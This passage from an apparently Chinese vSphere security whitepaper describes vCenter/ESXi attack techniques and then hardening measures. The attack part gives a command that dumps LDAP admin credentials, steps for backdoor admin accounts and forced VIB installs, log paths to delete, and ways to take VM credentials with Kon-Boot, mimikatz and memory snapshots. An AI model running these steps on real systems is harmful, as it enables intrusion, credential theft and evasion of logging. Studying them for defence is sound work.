vSphere 的技术特点在服务器中遗留后门以对 vSphere 进行持久控制。 4.5.1 LDAP新增账户 vCenter 中用户的认证由标识源管理,可以通过增加标识源来提供第三方认证的接入能力,在默认情况下, vCenter 由两个标识源,系统域和本地操作系统,域名默认分别为 vsphere.local 和 localos,系统域由默认安装 的 vmdir 服务提供,类似于 MicroSoft AD,该服务也包含了 KDC 和 LDAP 两个服务,LDAP 存储域内所有用户 的信息,vCenter 中的 vmdir 服务不仅承担用户认证的工作,也承担标识源的管理和用户权限管理的角色,所以 在 vCenter 控制台中 localos 标识源是可以移除的而系统域标识源不可移除。 LDAP 凭据导出 在攻击者利用漏洞获取 vCenter 服务器最高权限后,通常会利用 vmdir 服务操作系统域 LDAP 数据库进行新 增账户操作,连接 LDAP 的凭据存储于 likewise 注册表项 [HKEY_THIS_MACHINE\Services\vmdir] 利用以下命令导出LDAP凭据 /opt/likewise/bin/lwregshell ls ‘[HKEY_THIS_MACHINE\Services\vmdir]’ 获取 LDAP 管理凭据就可以利用 LDAP 协议对系统域 LDAP 进行操作 LDAP新增账户 利用 LDAP 新增账户需要指定以下几个属性 dn、objectClass、cn、samAccountName、userPrincipal- Name、userPassword,其中 objectClass 必须为 user,userPassword 为用户密码,需要满足默认密码策略。 LDAP 的认证用户名必须用 DN,并且使用 Simple 认证。 利用 admod 新增用户 4.vSphere 攻击技战法 59 利用该方式添加的用户在 vCenter 统一认证可以通过,但是由于没有给用户分配角色所以登陆后没有任何权 限,至少需要为用户分配只读角色后才能登陆控制台。 LDAP新增管理员 vCenter 利用角色对权限进行管理,角色为一组权限的集合,其中管理员角色具有完全访问权限,vCenter 内置一些组,具备不同的角色,这些组成员也相应的继承组角色的权限,administrators 组具有管理员角色、所 以 administrators 组内的用户都具有管理员权限,将用户加入管理员组需要将用户的 DN 加入管理员组 DN 的 member 属性。 ITDR 之 vSphere 60 4.5.2 强制重置用户密码 攻击者获取 vCenter 系统权限后通常无法得到用户明文密码,因此常常利用重置密码的方式来得到明文密码, 根据不同的攻击路径,强制修改用户密码也有不同方式。 攻击场景一 攻击者利用 saml 登录获取管理员 session,由于攻击者不知道管理员密码,选择利用 vsphere-client 重置 管理员密码。 选择系统管理 - 用户和组 选择系统域 - 编辑管理员→填写符合密码策略的密码后,点击保存重置管理员密码。 4.vSphere 攻击技战法 61 攻击场景二 攻击者通过 vCenter 漏洞获取 vCenter 服务器 webshell,利用 vCenter 内置的管理工具重置用户密码。 工具路径 /usr/lib/vmware-vmdir/bin/vdcadmintool 运行工具,选择 3,输入账户 upn ITDR 之 vSphere 62 输入 Enter 后会将用户密码重置为长度 20 字节的随机密码。 攻击场景三 攻击者失去 vCenter 服务器权限,但是保留了 LDAP 管理用户凭据,此时可以利用工具连接 vCenter LDAP 服务,远程重置用户密码。以 LDAPAdministrator 工具为例。 连接 LDAP 找到用户所在的 DN,右键选择重置密码 输入符合密码策略的密码后点击 OK 即可完成密码重置。 4.vSphere 攻击技战法 63 4.5.3 高权限角色赋予 vCenter 中定义一系列权限用户权限来控制 API 的访问,可以从 LDAP 数据库找到这些权限的定义 cn=PrivilegeModel,cn=VmwAuthz,cn=services,dc=vsphere,dc=local ITDR 之 vSphere 64 vCenter 以角色为单位为用户赋予权限,角色是一组权限的集合,可以从控制台 - 系统管理 - 访问控制 - 角色 - 新建角色 可以在全局权限下配置全局用户权限 针对 vCenter 攻击者在获取 vCenter Client 控制权后常利用 ACL 进行添加后门用户操作,比如为普通用户 或用户组赋予 administrator 角色,该用户即拥有 vCenter 的完全访问权限。 4.vSphere 攻击技战法 65 4.5.4 强制重置管理员密码 攻击者在获取 vCenter 服务器权限之后为了扩大战果,通常会利用一些技术手段获取 vCenter 服务的访问权 限,重置管理员密码是最常见的方法 利用 LDAP 重置密码 vCenter 支持通过 LDAP 协议修改密码,首先需要知道 LDAP 管理凭据,一般可以利用 likewies 工具导出域 控凭据 /opt/likewise/bin/lwregshell ls ‘[HKEY_THIS_MACHINE\Services\vmdir]’ 通过域控凭据连接 Ldap 服务,管理员 DN 为 cn=Administrator,cn=Users,dc=vsphere,dc=local 密码属性 为 userPassword,利用 ldap Modify 请求修改 userPassword 属性 ITDR 之 vSphere 66 使用命令行工具重置密码 工具路径 : /usr/lib/vmware-vmdir/bin/vdcadmintool 利用该工具重置密码需要 root 权限,如果没有 root 权限,会提示操作被拒绝 运行工具 - 输入账户 upn 输入 Enter 后会生成长度为 20 字节的随机密码。 4.5.5 恶意vib安装包 VIB 是用于创建或维护 ESXI 映像的文件包。它允许管理员通过创建启动任务、防火墙规则或在机器重新启动 时运行二进制文件来管理 ESXI 安装的行为方式。 VIB 包含以下内容 : 1. 一个归档文件 (.vgz archive),通常被称为 “有效载荷 “文件,需要在主机上安装。 2. 一个 XML 描述符,其中包含有关 VIB 要求、依赖项、兼容性问题、要安装的负载、名称、安装日期的信息。 3. 一个签名文件,一种用于验证 VIB 的主机接受级别的数字签名。 VIB 有效载荷,是一个 .vgz 的归档文件,其中包含将通过 VIB 在 ESXi 机器上创建的目录和文件。然后当 VIB 被加载时可以调用这些文件,进行引导执行。 XML 描述符文件是一个配置,其中包含对以下内容的引用 : ◑ 要安装的有效载荷 ◑ VIB 元数据,例如名称和安装日期 ◑ 属于 VIB 的签名文件 签名文件用于验证 VIB 的主机接受级别。接受级别是 VMware 使用的数字签名系统,用于指定 VMware 或合 作伙伴在发布 VIB 之前完成了哪些测试。为主机、图像配置文件和单个 VIB 设置了接受级别。下面列出了四个 (4) 接受级别及其 XML 描述符简称 : ◑ VMWareCertified (certified) ◑ VMwareAccepted (accepted) ◑ PartnerSupported (partner) ◑ CommunitySupported (community) 根据 VMware 文档,ESXI 主机上需要安装的 VIB 的默认最低接受级别是 PartnerSupsupport。这个接受级 别表明 VIB 是由 VMware 信任的合作伙伴发布的。虽然这是默认的接受级别,但是可以通过 ESXI 管理帐户手动 4.vSphere 攻击技战法 67 更改。用来安装 VIB 的命令 esxcli software vib install 通常不允许在低于最低接受级别的情况下安装,但是 在安装 VIB 的时候 --force 标志能够被用来忽略任何的系统的最低接受级别要求。 一般恶意的 VIB 会被标记为 PartnerSupported。对签名文件进行分析之后,确定它们是空的,攻击者 修改了 XML 描述符文件,将 acceptance-level 字段值从 community 更改为 partner。CommunitySupport acceptance-level 表明 VIB 是由第三方创建的,VMware 没有对其进行审查,也没有对其进行签名。这表明攻 击者将这些 VIB 文件伪装成 PartnerSupport,即使它们只满足 CommunitySupportedVIB 的要求。 虽 然 acceptance-level 字 段 的 值 在 XML 描 述 符 中 被 攻 击 者 更 改, 但 是 ESXI 系 统 仍 然 不 会 允 许 在最小接受级别下去安装伪造的 VIB。为了绕过这一限制,攻击者会滥用 --force 标志去安装恶意的 CommunitySupported 的 VIB。 因此在 VMware ESXI 虚拟机管理程序中建立持久化,即可对 ESXI 主机或对其中的虚拟机进行持久的控制。 4.5.6 恶意系统镜像 vCenter中通过存储模块管理ESXI系统存储,ESXI系统存储包含ESXI使用的镜像、模板、虚拟硬盘等文件, 攻击者可以通过 vCenter 存储管理功能替换系统镜像,在镜像中植入后门,挖矿等恶意程序,管理员使用这 些镜像创建虚拟机时攻击者的恶意程序将被执行。 利用方法 进入 vSphere-Client 控制台 - 存储,找到存储 ISO 镜像的文件夹 ITDR 之 vSphere 68 上传 iso 将正常镜像替换为带有后门的版本,以此对该 ESXI 下后续新建的虚拟机进行持续控制。 4.6 防御绕过 在针对 vCenter 的渗透测试过程中,日志往往会记录系统上的敏感操作,如访问记录,操作记录等。为了减 少被发现和追溯的概率,攻击者有必要清除自己的攻击痕迹,来躲避反追踪和隐藏攻击。 而对于企业来说,发现攻击只是安全隐患的冰山一角,攻击者可能已经渗透进了网络内部,通过对日志进行 取证分析,可以帮助尽早发现网络是如何受到破坏的,一旦发现攻击痕迹,就可以及时采取措施防止漏洞再次被 利用。 4.6.1 禁用日志记录 攻击者在获得本地管理员账号、密码之后,可能会关闭日志记录服务,用来躲避部分安全软件监控。 利用方法 在 vSphere Web Client 中,导航到 vCenter Server 实例 - 选择配置选项卡 - 在设置下 - 选择常规 - 单击编辑 - 选择日志记录设置。 4.vSphere 攻击技战法 69 在 vCenter 中日志等级分为以下级别,在利用过程中可选择性设置。 选项 描述 无(禁用日志记录) 关闭日志记录 错误(仅错误) 仅显示错误日志条目 警告(错误和警告) 显示警告和错误日志条目 信息(正常日志记录) 显示信息、错误和警告日志条目 详细(详细) 显示信息、错误、警告和详细日志条目 琐事(超详细) 显示信息、错误、警告、详细和琐事日志条目 4.6.2 日志清除 对于攻击者来说,在获得管理员权限之后,会尝试清除渗透痕迹,此时攻击者会选择清除当前访问日志记录 及操作日志记录。 利用方法 以 root 用户身份登录到 vCenter Server 服务器 vCenter 日志以文本文件的形式保存在 vCenter 服务器,所有日志都存储在 var/log/vmware/ 路径下 ITDR 之 vSphere 70 对于攻击者来说,需要清除 web 访问日志及操作日志,详细路径如下: ◑ /var/log/vmware/vsphere-ui/logs/access/localhost_access_log..*.txt ◑ /var/log/vmware/sso/localhost_access_log..*.txt ◑ /var/log/vmware/vsphere-ui/logs/eventlog.log 4.6.3 关闭安全监控软件 在攻击过程中,攻击者获取主机权限后关闭主机层的防护软件也是一种较为常见的攻击手法,可以通过判断 进程列表是否存在常见的安全管理软件,然后对其进行关闭或 Hook 其网络连接,阻止其向服务端发送日志数据。 4.7 虚拟机权限获取 攻击者在拿到 vCenter web 控制台权限后,发现很多重要的系统处于锁屏状态,而这时想要获取这些虚拟机 的权限,可以通过 PE 挂载、快照读取、VMDK 文件挂载等方式来获取 HASH 或者绕过密码登录,最终拿到该虚 拟机的权限。 下面详细讲解这几种方式的具体利用过程 4.7.1 Kon-Boot利用 Kon-Boot 是一款可以绕过 Windows/MAC 系统登陆密码的工具,Kon-Boot 最大的特点就是它不会去擦除 Windows 密码,不会修改任何 Windows 文件,其原理是在启动时暂时改变系统内核的引导处理,跳过 SAM 检查, 让你在登录界面输入任何字符即可登录。 利用方法 对目标机器克隆虚拟机 4.vSphere 攻击技战法 71 将 KON-BOOT 的 iso 镜像上传到 vCenter 中,工具地址:https://kon-boot.com/ 编辑虚拟机设置,网络适配器机器取消勾选 ( 由于克隆的机器所以可能出现 ip 重复 )。并且设置打开电源时 连接 kon-bootCD.iso ITDR 之 vSphere 72 在虚拟机选项这里,勾选强制执行 BIOS 设置。如果目标是 EFI 启动的话,则是勾选强制执行 EFI 设置。 然后重启机器,进行如下配置:选择 Boot,把 CD-ROM Drive 移到最上面,按 F10 退出即可。 4.vSphere 攻击技战法 73 等 KON-BOOT 加载好后重启虚拟机,这时直接空密码就能登录操作系统或者直接用 shift 后门 (5 下 shift) 弹出 cmd 操作 ITDR 之 vSphere 74 4.7.2 VMDK文件挂载 VMDK(VMwareVirtual Machine Disk Format)是虚拟机 VMware 创建的虚拟硬盘格式,文件存在于 VMware 文件系统中,被称为 VMFS(虚拟机文件系统)。一个 VMDK 文件代表 VMFS 在虚拟机上的一个物理硬 盘驱动。所有用户数据和有关虚拟服务器的配置信息都存储在 VMDK 文件中。 利用方法 首先克隆目标虚拟机,克隆机器需要处于关闭状态(开机状态机器的 vmdk 是锁定的,直接挂载会失败) 新建一台可控虚拟机挂载克隆虚拟机的 vmdk,右键编辑设置 - 现有硬盘 4.vSphere 攻击技战法 75 选择克隆虚拟机的 vmdk 文件 完成后打开新建的可控虚拟机,挂载成功 ITDR 之 vSphere 76 把 mimikatz 传到新建虚拟机中,读取 sam 文件获取当前主机用户的密码信息 4.vSphere 攻击技战法 77 4.7.3 快照读取HASH 虚拟机快照的功能在拍摄快照的瞬间虚拟机会把当前的内存保存为一个文件,文件以 .vmem 结尾,该文 件的大小就是虚拟机的内存大小,最终将 lsass.exe 进程转储为文件后可读取其中存储的本地用户明文密码或 hash,可利用此方式进行目标虚拟机的 hash 读取。 利用方法 选择目标虚拟机,操作生成快照 到数据存储位置找到相应的快照文件 使用 volatility 工具查看 profile,工具地址:https://www.volatilityfoundation.org/releases ITDR 之 vSphere 78 最终获取 hash 拿 到 NTLM hash 之 后 可 以 通 过 VMware 官 方 提 供 的 SSPIAuthentication 函 数 进 行 NTLM 身 份 认 证, SSPIAuthentication 使用 SSPI 凭据在目标中启动票证身份验证会话。PySharpSphere 项目已经实现此功能,可 以在目标机器上执行任意命令,具体实现可以访问该项目查看。 然而实际操作过程中 Windows 的快照文件过大不易下载,这时候如果我们拿到了数据库账号密码可以登录 数据库查询 vCenter 中配置的 ESXI 账号密码,因为虚拟机的磁盘文件都是存放在 ESXI 服务器上的,所以我们可 以通过 SSH 连上 ESXI 服务器直接操作快照文件,不需要再进行下载快照的操作。 4.7.4 利用PE获取虚拟机权限 该手法为比较传统的一种手法,类似 Kon-Boot,也可以使用 PE 系统 ISO 加载的方式重置 Windows 密码从 而登录操作系统,以国内常用的 PE 为例介绍重置密码的过程。 4.vSphere 攻击技战法 79 利用方法 首先生成大白菜的 ISO 系统镜像 打开 VMware vSphere Client 管理界面,上传 ISO 系统镜像→选中目标主机→设置光驱 iso 文件引导 虚拟机选项这里,勾选强制执行 BIOS 设置。如果目标是 EFI 启动的话,则是勾选强制执行 EFI 设置。 ITDR 之 vSphere 80 然后重启机器,进行如下配置:选择 Boot,把 CD-ROM Drive 移到最上面,按 F10 退出即可。 虚拟机自动重启,这次进入到 ISO 的 PE 引导系统,我们选择启动 win10x64PE 4.vSphere 攻击技战法 81 进入 PE 系统后,点击菜单按钮→选择密码修改即可 4.8 虚拟机逃逸 “云时代”的虚拟机安全被提升到至关重要的位置。虚拟机逃逸指的是突破虚拟机的限制,实现与宿主机操 作系统交互的一个过程,攻击者可以通过虚拟机逃逸感染宿主机或者在宿主机上运行恶意软件,由于宿主机的特 权地位,其结果是整个安全模型完全崩溃。 虚拟机逃逸种类繁多,原因复杂,展开讲篇幅过长,因此本文仅对此系列漏洞做简单展示,具体细节后续会 有单独的系列文章进行详细分析。 ITDR 之 vSphere 82 CVE-2017-4903 漏洞描述 ESXI 在 SVGA 中存在堆缓冲区溢出和未初始化堆栈内存使用情况,此问题可能允许客户机在宿主机上执行代码。 参考链接 https://www.vmware.com/security/advisories/VMSA-2017-0006.html CVE-2018-6981/CVE-2018-6982 漏洞描述 VMware ESXI、Fusion 和 Workstation 在 vmxnet3 虚拟网络适配器中包含了未初始化的堆栈内存使用,此 问题可能允许客户机在宿主机上执行代码。如果受影响产品启用了 vmxnet3,则存在风险,非 vmxnet3 虚拟适 配器则不受以上问题影响。 参考链接 https://www.vmware.com/security/advisories/VMSA-2018-0027.html CVE-2021-22040/CVE-2021-22041 漏洞描述 VMware ESXI、Workstation 和 Fusion 在 XHCI USB 控制器中包含一个释放后使用漏洞,在虚拟机上具有本 地管理权限的攻击者能够利用此漏洞,以在主机上运行的虚拟机的 VMX 进程的身份执行代码。 参考链接 https://www.vmware.com/security/advisories/VMSA-2022-0004.html CVE-2021-22042 漏洞描述 VMware ESXi 包含一个未经授权的访问漏洞,因为 VMX 可以访问 settingsd 授权票证。仅在 VMX 进程中具 有特权的恶意行为者可能能够访问作为高特权用户运行的 settingsd 服务。 参考链接 https://www.vmware.com/security/advisories/VMSA-2022-0004.html CVE-2021-22043 漏洞描述 VMware ESXI 包含一个 TOCTOU(Time-of-check Time-of-use)漏洞,该漏洞存在于处理临时文件的方式中。 有权访问 settingsd 的恶意行为者可能会利用此问题通过写入任意文件来提升其权限。 参考链接 https://www.vmware.com/security/advisories/VMSA-2022-0004.html CVE-2021-22045 漏洞描述 VMware Workstation、Fusion 和 ESXI 中的 CD-ROM 设备存在堆溢出漏洞,可以访问具有 CD-ROM 设备仿 真的虚拟机的攻击者可能利用此漏洞以及其他问题在虚拟机的 Hypervisor 上执行代码。 参考链接 hhttps://www.vmware.com/security/advisories/VMSA-2022-0001.html 4.vSphere 攻击技战法 83 vSphere 加固05 ITDR 之 vSphere 84 5. vSphere加固 从前面的 vSphere 技战法中可以了解到目前针对 vSphere 中 VMware ESXI 和 VMware vCenter Server 的攻击手法多种多样,攻击流程也已成完整体系。目前自 vSphere 发布以来,全球已有超过 250000 客户,其中大多数客户来自于政府,军队, 医疗,能源,交通,教育等一些重要基础设施,如果遭受到攻击和破坏其产生的后 果将会是不堪设想。因此如何对 vSphere 进行加固变得越来越重要。 为了避免攻击者通过已知的漏洞进行破坏和勒索,我们针对 ESXI 和 vCenter 做 出了一套完善的加固方案。其方案包括虚拟主机安全,通信安全,账户安全,角色 控制等其他方面。 下文我们将详细展开对其进行加固的介绍。 5.1 ESXI加固方案 5.1.1 限制ESXI对SSH访问 默认情况下,ESXI Shell 和 SSH 服务不会运行,只有 root 用户才能登录到直接 控制台用户界面 (DCUI)。如果决定启用 ESXI 或 SSH 访问,则有可能遭受 SSH 暴力 破解的风险,或者攻击者可能会配合一些已知漏洞将公钥写入 SSH 目录下而直接免 密登录。为了避免这种风险我们可以直接关闭 SSH 服务或者通过防火墙来设置 SSH 的连接。 加固方法 通过 Web 管理控制台关闭 ESXI 的 SSH,当 ESXI 以 root 用户权限登录时,其 具有最高操作权限,此时我们可以通过控制台来关闭 SSH,具体操作为打开 ESXI 界面 -> 点击主机 -> 管理 -> 点击服务 -> 下滑看到 SSH-> 停止 通过 vSphere Client 关闭 SSH,登录 vSphere Client 客户端 -> 左上角的列表 -> 点击清单 -> 点击服务 ->SSH-> 停止 5.vSphere 加固 85 通过防火墙进行限制,通过打开 SSH 但是在防火墙对 22 端口可以连接的 ip 进 行限制来保护 ESXI 的安全,登录 ESXI -> 防火墙规则 -> 右击 ssh 服务 -> 编辑设置 -> 仅允许以下网络连接 5.1.2 ESXI最小化权限管理 默认情况下,ESXI 下只有一个 root 用户,root 用户可以执行许多任务。但是 为了安全起见,不允许管理员使用 root 用户帐户登录 ESXI 主机,而是从 vCenter Server 创建指定管理员用户,并为这些用户分配管理员角色。不同的角色其权限也 不同,例如创建虚拟机管理员用户则给予虚拟机添加、创建、删除、重新分配虚拟 机等权限。 ITDR 之 vSphere 86 加固方法 自定义创建角色 登录 vCenter Server -> 点击右上角菜单栏 -> 系统管理 -> 角色 -> 新建一个角 色,这里创建一个虚拟机管理员,可以将虚拟机选项全都勾选。 使用系统角色 点击右上角菜单栏 -> 系统管理 -> 角色 -> 选择我们要使用的角色 5.vSphere 加固 87 5.1.3 ESXI 端口管理 默 认 的 情 况 的 下 ESXI 开 放 有 以 下 端 口,80,443,902(vCenter Server Agent),5989( 适用于 CIM 的安全服务器 ) 等一些端口,如果要开启另外一些服务, 具体端口可参考官网 ESXI 所需的端口,但是如果端口开放过多,一些服务则可能会 受到被攻击的威胁。因此我们可以对 ESXI 的端口访问设置防火墙,并且对一些不必 要的服务进行关闭。对于一些 ESXI 的重要服务,设置只能由内网中一些管理员 IP 访问,并且减少端口在公网中暴露。 加固方法 通过 vCenter 设置防火墙,通过 vSphere Client-> 点击左上角的清单 -> 点击主 机 -> 点击配置 -> 往下拉找防火墙 -> 设置每个端口的作用 ip 范围。 通过 ESXI 登录 web 端 -> 网络 -> 防火墙规则 5.1.4 开启ESXI锁定模式 在现有的智能手机中,当手机丢失后可能会进入锁定模式,无法直接从手机端 解锁必须从绑定的官网的账号解锁。 为了提高 ESXI 主机的安全性,可以将其置于锁定模式。锁定模式分为两种,一 种是严格锁定,一种是正常锁定,严格锁定默认用户只能从 vCenter Server 登录, ITDR 之 vSphere 88 正常锁定模式默认可以 vCenter Server 登录,也可以通过 DCUI 登录。还可以使用“例 外用户”列表,主机进入锁定模式时,例外用户不会丢失其特权。使用“例外用户” 列表可添加在主机处于锁定模式时需要直接访问主机的第三方解决方案和外部应用 程序帐户。 加固方法 通 过 vSphere Client 开 启 锁 定, 通 过 vSphere Client 开 启 锁 定 模 式 登 录 vSphere Client-> 点击左上角点击清单 -> 点击主机 -> 点击配置往下拉点击安全配 置文件,可以编辑锁定模式 通过 ESXI 开启锁定模式,登录 ESXI-> 主机 -> 管理 > 安全与用户 -> 锁定模式 -> 选择禁用的方式 5.1.5 虚拟主机启用UEFI安全引导 UEFI,全称 Unified Extensible Firmware Interface,即“统一的可扩展固件 接口”,是一种详细描述全新类型接口的标准,是适用于电脑的标准固件接口,旨 在代替 BIOS(基本输入 / 输出系统 )。安全引导是在 BIOS 中实施的一项服务器安 全功能,不需要使用专门的硬件。安全引导会确保在引导过程中启动的每个组件均 经过数字签名,并且对照 UEFI BIOS 中嵌入的一组受信任证书对签名进行验证。 5.vSphere 加固 89 加固方法 如果一个虚拟机操作系统支持 UEFI 安全引导,则在虚拟机进行加载的过程中会 验证驱动程序是否经过签名。如果某个组件缺少签名或签名无效,则引导过程将会 停止,可以防止攻击者加载一些不被信任的组件而遭受攻击。 启用条件: ◑ 有 EFI 固件 ◑ 虚拟硬件版本 13 或更高版本。 ◑ 支持 UEFI 安全引导的操作系统。 这里以 Windows 主机作为演示 ITDR 之 vSphere 90 5.1.6 ESXI启用TLS加密通信 ESXI 为了确保主机安全,并且保证通信主机之间的隐私和数据完整性,采用了 TLS 加密安全传输协议进行通信。在 ESXI 安装的时候会生成多个非对称密钥,用于 正常的通信加密。同时 vCenter Server 与 ESXI 主机结合使用时,vCenter Server 会自动生成 CSR,使用 VMware Certificate Authority (VMCA) 对其进行签名,并生 成证书。 将 ESXI 主机添加到 vCenter Server 时,vCenter Server 会在该 ESXI 主机上安 装该生成的证书。默认 TLS 证书是自签名证书,且 subjectAltName 字段与安装时 主机名匹配。可以安装不同的证书,以便使用不同的 subjectAltName 或在验证链 中包含特定的证书颁发机构(CA)等。 ESXI 启用或禁用 TLS 版本 5.vSphere 加固 91 5.1.7 ESXI配置PTP或NTP NTP 是用来同步网络设备(如计算机,手机等)的时间协议,在 ESXI 中我们 可以配置 NTP 或 PTP 来同步我们的时间,如果未配置 NTP,当我们后面安装大量 的虚拟机服务器,如果这些服务器的时间各不相同,则会在交互时可能会产生一些 麻烦,包括在现实中大型企业 ESXI 项目,都会有一台时间服务器,这样保证当客户 端在操作的时候,后台相应的记录顺序不会乱。在配置 NTP 时我们可以选择一些公 网的 NTP 服务器来进行时间同步,例如腾讯或者阿里的 NTP 服务器。但是在内网 中我们可能无法连接到公网中的一些服务器,此时需要我们搭建一台 NTP 服务器来 进行同步时间。 ESXI配置NTP 具体配置方法如下: 在管理 -> 系统 -> 时间和日期 ->NTP 设置 -> 使用网络时间协议 然后设置 NTP 服务启动策略和 NTP 服务器,其中启动策略与 NTP 服务器有如下几种 ◑ 策略 - 根据端口使用情况启动和停止:在主机的安全配置文件中启用或禁 用 NTP 客户端端口访问时启动或停止 NTP 服务。 ◑ 与主机一起启动和停止:在打开和关闭主机电源时启动和停止 NTP 服务 ◑ 手动启动和停止:手动开启 公网的NTP服务器常用的有如下几个: ✓ 阿里云授权服务器:ntp.aliyun.com ✓ 中国科学院国家授时中心:ntp.ntsc.ac.cn ✓ NTP 授时快速域名服务:cn.ntp.org.cn ✓ 腾讯云授时服务器:time1.cloud.tencent.com ✓ 国内大学授时服务器:ntp.tuna.tsinghua.edu.cn 最后在服务启动 NTP 服务器 ITDR 之 vSphere 92 ESXI配置PTP 管理 -> 系统 -> 时间和日期 -> PTP 设置 -> 开启 enable -> 保存,最后在服务中 找到 ptpd 设置为启动 5.1.8 对ESXI网络流量进行分层管理 网络流量隔离对保护 ESXI 环境至关重要,不同的网络需要不同的访问权限和隔 离级别。在 ESXI 网络中有两种网络,物理网路和虚拟网络。物理网络是 ESXI 主机 与其他组件通讯的真实网络,虚拟网络是建立在物理网络之上,负责 ESXI 上虚拟主 机的之间的相互通讯。如果将每个虚拟机区域隔离在自己的网络段中,可以最大限 度降低区域间泄露数据的风险。分段可防止多种威胁,包括地址解析协议 (ARP) 欺骗。 通过 ARP 欺骗,攻击者操作 ARP 表格以重新映射 MAC 和 IP 地址,并得以访问进出 主机的网络流量。攻击者使用 ARP 欺骗生成中间人 (MITM) 攻击、执行拒绝服务 (DoS) 攻击,劫持目标系统并以其他方式破坏虚拟网络。 分层隔离的安全建议 ◑ vSphere 基础架构网络用于 vSphere vMotion、VMware vSphere Fault Tolerance、VMware vSAN 和存储等功能。隔离开这些特定功能使用的网络。通常 不必将这些网络中的流量路由到单个物理服务器机架外部。 5.vSphere 加固 93 ◑ 管理网络将客户端流量,命令行界面(CLI)或 API 流量以及第三方软件流 量与其他流量隔离开来。通常,管理网络只能由系统、网络和安全管理员访问。要 保护对管理网络的访问,请使用堡垒主机或虚拟专用网络(VPN)。严格控制该网 络中的访问。 ◑ 虚拟机流量可以通过一个或多个网络流动,可以通过在虚拟网络控制器设 置防火墙规则的虚拟防火墙解决方案增强虚拟机的隔离。这些设置通过虚拟机传输, 像在 vSphere 环境中将其从主机迁移到主机一样。 5.1.9 启用主机加密模式 ESXI 的主机加密模式是将 ESXI 上面的虚拟机以及虚拟磁盘都进行加密,当启 用主机可以接受密钥材料后,核心的转储文件都会进行加密,以防止一些重要的数 据未经授权而被访问造成泄漏。另外如果需要在 ESXI 上面添加加密的虚拟机,则首 先应该开启主机加密模式才能够添加。 开启主机加密模式 如果要开启主机加密模式则首先要在 vCenter 上创建一个密钥提供程序来存放 我们的加密密钥。 打开 vCenter,在配置处找到安全 -> 然后选择密钥提供程序 接着选择添加 -> 添加本机密钥提供程序 -> 设置名称 -> 确认添加密钥提供程序, 此时会显示我们并没有进行备份,添加密钥程序一定得设置备份,否则开启主机加 密模式会失败。点击备份然后设置密码将会下载我们的密钥文件。 在 vCenter 上启用 ESXI 的主机加密模式,选择 ESXI 主机 -> 配置 -> 安全配置 文件 -> 主机加密模式 -> 编辑 -> 开启主机加密 ITDR 之 vSphere 94 5.1.10 使用TPM2.0验证ESXI TPM 是可信平台模块,英文全称 Trusted Platform Module,是一项安全密码 处理器的国际标准。TPM 就是利用经过安全验证的加密密钥为设备带来更强的安全 性,他也是很多安全应用的核心。目前 TPM 最新的版本为 2.0 版。ESXi 主机可以 使用 TPM 芯片,通过提供植根于硬件(而不是软件)的信任保证来增强主机安全性。 TPM 2.0 芯片可证明 ESXi 主机的身份。主机证明是在给定时间点对主机软件状 态进行身份验证和证明的过程。UEFI 安全引导可确保在引导时只加载签名软件,这 是成功证明的一项要求。TPM 2.0 芯片将记录并安全存储系统中引导的软件模块的 测量数据,vCenter Server 将远程验证这些测量数据。 加固方法 1. 首先建立远程 TPM 的可信赖度并在其上创建证明密钥 (Attestation Key,AK) 将 ESXi 主机添加到 vCenter Server、从中重新引导 ESXi 主机或重新连接到 vCenter Server 时,vCenter Server 将从主机请求 AK。AK 创建过程的一部分还涉 及到 TPM 硬件本身的验证,以确保已知(且可信)的供应商生成该 TPM 硬件。 2. 从主机检索证明报告。 vCenter Server 请求主机发送证明报告,其中包含由 TPM 签名的平台配置寄存 器 (Platform Configuration Register,PCR) 证言,以及其他签名的主机二进制元 数据。通过检查与其认为可信的配置相对应的信息,vCenter Server 将在先前不可 信的主机上标识平台。 3. 验证主机的真实性 vCenter Server 会验证签名证言的真实性,推断软件版本并确定所述软件版本 的可信赖度。如果 vCenter Server 确定签名证言无效,则远程证明失败,该主机不 可信。 登录到 vCenter 中,点击左上角菜单栏 -> 全局清单列表 -> 数据中心 -> 点击监 控选项卡 -> 安全 即可以查看 5.vSphere 加固 95 5.2 vCenter Server 加固方案 5.2.1 开启双因素身份验证 双因素身份验证 (2FA) 是一种身份和访问管理安全方法,用户需要经过两种形 式的身份验证才能访问资源和数据。在 vCenter 中可以配置 2FA 来保障身份的安全, 即使攻击者通过钓鱼或者密码泄漏拿到我们的 Web 控制台账号密码,也无法通过身 份认证。 开启智能卡身份认证 vCenter 这里提供了一种是智能卡身份验证登录,登录 vSphere Client -> 菜单 -> 系统管理 ->Single Sign On-> 配置 -> 智能卡身份认证 -> 编辑 vCenter( 各个版本稍 有不同 ) 5.2.2 加固 vCenter Server 系统 对于管理人员来说要实时关注 vCenter 操作系统自身的安全漏洞,要确保漏洞 能够及时发现,并能够及时打补丁,以积极应对来自终端层面的攻击威胁。 ITDR 之 vSphere 96 5.2.3 vCenter 配置SSO(Single Sign-On) SSO 是一个身份验证代理程序和安全令牌交换基础架构。vCenter SSO 在用户 进行身份验证时发出令牌。用户可以使用该令牌向 vCenter Server 服务进行身份验 证。然后,该用户可以执行其权限范围内的操作。vCenter 也可以通过外部身份提 供程序联合或 vCenter Server 内置身份提供程序对用户进行身份检验。内置身份提 供程序支持本地帐户、Active Directory 或 OpenLDAP、集成 Windows 身份验证 (IWA) 和其他身份验证机制(智能卡、RSA SecurID 和 Windows 会话身份验证)。 vCenter 在首次安装软件时,为 vCenter SSO 域的管理员(administrator@ vsphere.local)指定密码。并且将该域作为最初的标识源。同时也可以将其他标识 源添加进来,例如 Acttve Directory 或 LDAP 并设置为默认标识源。 标识源分为以下几个 1.Active Directory over LDAP。 2.Active Directory( 集 成 Windows 身 份 验 证) 版 本 2003 及 更 高 版 本。 vCenter Single Sign-On 允许将单个 Active Directory ( 可以是一个子域或者根域 ) 域指定为一个标识源。 3.OpenLDAP 版本 2.4 及更高版本。 使用 AD 域标识源进行登录 vCenter Server、AD FS 和 Active Directory 按以下方式进行交互: 1. 用户首先在 vCenter Server 登录页输入用户名。 2. 如果用户名用于联合域,vCenter Server 会将身份验证请求重定向到 AD FS。 3.AD FS 提示用户使用 Active Directory 凭据登录。 4.AD FS 使用 Active Directory 对用户进行身份验证。 5.AD FS 发出包含 Active Directory 中组信息的安全令牌。 6.vCenter Server 使用令牌登录用户。 5.vSphere 加固 97 用户使用 vCenter Server 内置身份提供程序登录 1. 用户使用用户名和密码登录 vSphere Client 以访问 vCenter Server 系统或其 他 vCenter 服务。 2. 配 置 了 集 成 Windows 身 份 验 证 (IWA) 后, 用 户 也 可 以 通 过 选 中 使 用 Windows 